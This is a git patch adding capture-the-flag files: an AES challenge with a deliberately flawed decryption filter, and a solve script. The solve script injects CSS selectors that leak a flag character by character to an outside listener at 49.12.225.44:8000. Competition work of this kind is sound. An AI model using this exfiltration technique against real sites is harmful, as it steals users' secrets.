From c32206127601ba97d5c6201cbdaa02368031b8ae Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Bu=C3=9Fmann?= Date: Fri, 26 Apr 2024 18:47:45 +0200 Subject: [PATCH] ctf commits --- .DS_Store | Bin 6148 -> 6148 bytes .gitignore | 2 + catthegrey24/.DS_Store | Bin 0 -> 6148 bytes .../crypto/filter_ciphertext/.gitignore | 1 + .../filter_ciphertext/filter_ciphertext.py | 77 ++++++++++++++++++ catthegrey24/web/.DS_Store | Bin 0 -> 6148 bytes catthegrey24/web/beautiful_styles/.gitignore | 1 + .../web/beautiful_styles/enumeration.py | 51 ++++++++++++ .../pwn/pwn_sound_of_silence/build-docker.sh | 2 +- 9 files changed, 133 insertions(+), 1 deletion(-) create mode 100644 .gitignore create mode 100644 catthegrey24/.DS_Store create mode 100644 catthegrey24/crypto/filter_ciphertext/.gitignore create mode 100644 catthegrey24/crypto/filter_ciphertext/filter_ciphertext.py create mode 100644 catthegrey24/web/.DS_Store create mode 100644 catthegrey24/web/beautiful_styles/.gitignore create mode 100644 catthegrey24/web/beautiful_styles/enumeration.py diff --git a/.DS_Store b/.DS_Store index 1b5ff7695f1c8b8890b766197f2ad129bcac77c4..098777e9da4931a6b91fcb127adbf70740f5f918 100644 GIT binary patch delta 159 zcmZoMXfc=|#>B!ku~2NHo}wrl0|Nsi1A_nqLk2@CLpnndkgVMNka;nKrX?@N)pI Z2U_u+c{0CB)qu~2NHo}wrV0|Nsi1A_nqgAs#CQh9MfQcix-#=_-{j4Yc)SU)pu jY~Wzt%+A5j0o1ZtkmEb^WPTAx4xlEGE|$#^B5Rld8d4HT diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..bc51b40 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ + +htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/challenge/ diff --git a/catthegrey24/.DS_Store b/catthegrey24/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..90dd1abf781591c5fe5c442c0f5a38658176d3b0 GIT binary patch literal 6148 zcmeHK%}T>S5Z-O8Z7D(y3Oz1(Eg0KU5HBIt7cim+m70*C!I&*gY7V84bA2J7#OHBl zcLNr47O^w1`_1oe_JiyXV~o4Y@RTu&G1h^G$Wf^gbk~L&CK-|A7}-2XWB}GjFgLNk z4*2a&R6H_4Q1iVWg2Fx*3*G5$js`mR>O%s5TmiZ9*EW15cKhAvR-#P zN5?1USF@MoHI*ApCkM8b92l(N9Tc;gH*b+9GJOJ1m0e{K5(C5lF+dFLHUs8d==64* z23kEaKn&C{fct}hhUge9HL9%xI=nt(yoHDYI=&?kg+a$)sSzR|T$cjsQf{6YT$h7i zm^{Z|sZp0Ru4aaD%*@r}g{#@YFH}0?jz;Q<0b*dAfu=SsJpV7@m#KZ^ZAfRtu0>Hq1q_2WHE>MR&$6%=uM?t?T2c(OD MB7{0(;1?M90*Qo4X8-^I literal 0 HcmV?d00001 diff --git a/catthegrey24/crypto/filter_ciphertext/.gitignore b/catthegrey24/crypto/filter_ciphertext/.gitignore new file mode 100644 index 0000000..21d0b89 --- /dev/null +++ b/catthegrey24/crypto/filter_ciphertext/.gitignore @@ -0,0 +1 @@ +.venv/ diff --git a/catthegrey24/crypto/filter_ciphertext/filter_ciphertext.py b/catthegrey24/crypto/filter_ciphertext/filter_ciphertext.py new file mode 100644 index 0000000..4796eab --- /dev/null +++ b/catthegrey24/crypto/filter_ciphertext/filter_ciphertext.py @@ -0,0 +1,77 @@ +from Crypto.Cipher import AES +import os + +with open("flag.txt", "r") as f: + flag = f.read() + +BLOCK_SIZE = 16 +iv = os.urandom(BLOCK_SIZE) + +xor = lambda x, y: bytes(a^b for a,b in zip(x,y)) + +key = os.urandom(16) + +def encrypt(pt): + cipher = AES.new(key=key, mode=AES.MODE_ECB) + blocks = [pt[i:i+BLOCK_SIZE] for i in range(0, len(pt), BLOCK_SIZE)] + tmp = iv + ret = b"" + + for block in blocks: + res = cipher.encrypt(xor(block, tmp)) + ret += res + tmp = xor(block, res) + + return ret + + +def decrypt(ct): + cipher = AES.new(key=key, mode=AES.MODE_ECB) + blocks = [ct[i:i+BLOCK_SIZE] for i in range(0, len(ct), BLOCK_SIZE)] + + for block in blocks: + if block in secret_enc: + blocks.remove(block) + + tmp = iv + ret = b"" + + for block in blocks: + res = xor(cipher.decrypt(block), tmp) + ret += res + tmp = xor(block, res) + + return ret + +secret = os.urandom(80) +secret_enc = encrypt(secret) + +print(f"Encrypted secret: {secret_enc.hex()}") + +print("Enter messages to decrypt (in hex): ") + +while True: + res = input("> ") + + try: + enc = bytes.fromhex(res) + + if (enc == secret_enc): + print("Nice try.") + continue + + dec = decrypt(enc) + if (dec == secret): + print(f"Wow! Here's the flag: {flag}") + break + + else: + print(dec.hex()) + + except Exception as e: + print(e) + continue + + + + diff --git a/catthegrey24/web/.DS_Store b/catthegrey24/web/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..4cb665c6051712807114ae9371d188db79bb586c GIT binary patch literal 6148 zcmeHK!AiqG5S?wSZ7E_83OxqA7L08X#7n642aM=JB_^b3XqqiaYYwH5v;L4@;`cbS zyA?|n4}wUUf!Q}ZJG0Bagq>Xg5dB$r1keP48Y*F_j?EWBxBFjWarIK+_K>nI6j-j}l^%v7$c2kIzZ zvo)W0j_tP9?b(aAH9zT~-RmAN7WLZx!QttJH;TuJeAd(o{0o)r7+k^&8b9pv$xV}3 zCJz|7oMoBK$P6$8%)q8GV9vQ(W79Uq`(Xx{fnPH~=Yxex=ol{K5og>*0s%1t+i0^QAsGS(D;#phAPDv fOQpDlss#NO8HkR-LL+)m_#&Wa;D#CaQwH7vNOMvj literal 0 HcmV?d00001 diff --git a/catthegrey24/web/beautiful_styles/.gitignore b/catthegrey24/web/beautiful_styles/.gitignore new file mode 100644 index 0000000..691037e --- /dev/null +++ b/catthegrey24/web/beautiful_styles/.gitignore @@ -0,0 +1 @@ +.venv/* diff --git a/catthegrey24/web/beautiful_styles/enumeration.py b/catthegrey24/web/beautiful_styles/enumeration.py new file mode 100644 index 0000000..eedbdcd --- /dev/null +++ b/catthegrey24/web/beautiful_styles/enumeration.py @@ -0,0 +1,51 @@ +import string +import requests +import re +from http.server import BaseHTTPRequestHandler, HTTPServer +from urllib.parse import unquote + + +chars = string.ascii_uppercase + string.digits + "f" +url = "http://challs2.nusgreyhats.org:33339" +headers = {"Content-Type": "application/x-www-form-urlencoded"} + + +class LeakHandler(BaseHTTPRequestHandler): + def do_GET(self): + print("Got GET request") + leaked_password = unquote(self.path.split("/")[-1]) + print(f"Password: {leaked_password}") + self.send_response(200) + self.end_headers() + self.wfile.write(b"exploiting in progress") + print("Next round") + leak_char(leaked_password) + + +def generate_css_input(leaked_password): + css_input = "" + + for a in chars: + css_input += f'input[id="flag"][value^="{leaked_password + a}"]{{background-image: url(http://49.12.225.44:8000/{leaked_password + a});}}' + + return css_input + + +def leak_char(leaked_password): + css_input = generate_css_input(leaked_password) + print("Leaking character") + with requests.post( + f"{url}/submit", data={"css_value": css_input}, headers=headers + ) as r: + match = re.search(r"/judge/([a-zA-Z0-9-]+)", r.text) + if match: + id_value = match.group(1) + print("Found ID:", id_value) + r = requests.post(f"http://challs2.nusgreyhats.org:33339/judge/{id_value}") + print(r.text) + else: + print("error") + + +httpd = HTTPServer(("0.0.0.0", 8000), LeakHandler) +httpd.serve_forever() diff --git a/htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/build-docker.sh b/htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/build-docker.sh index e10e147..6f567d7 100755 --- a/htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/build-docker.sh +++ b/htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/build-docker.sh @@ -1,3 +1,3 @@ #!/bin/sh docker build --tag=sound_of_silence . -docker run -it -p 1337:1337 --rm --name=sound_of_silence sound_of_silence +docker run -it -p 1337:1337 --rm --name=sound_of_silence sound_of_silence \ No newline at end of file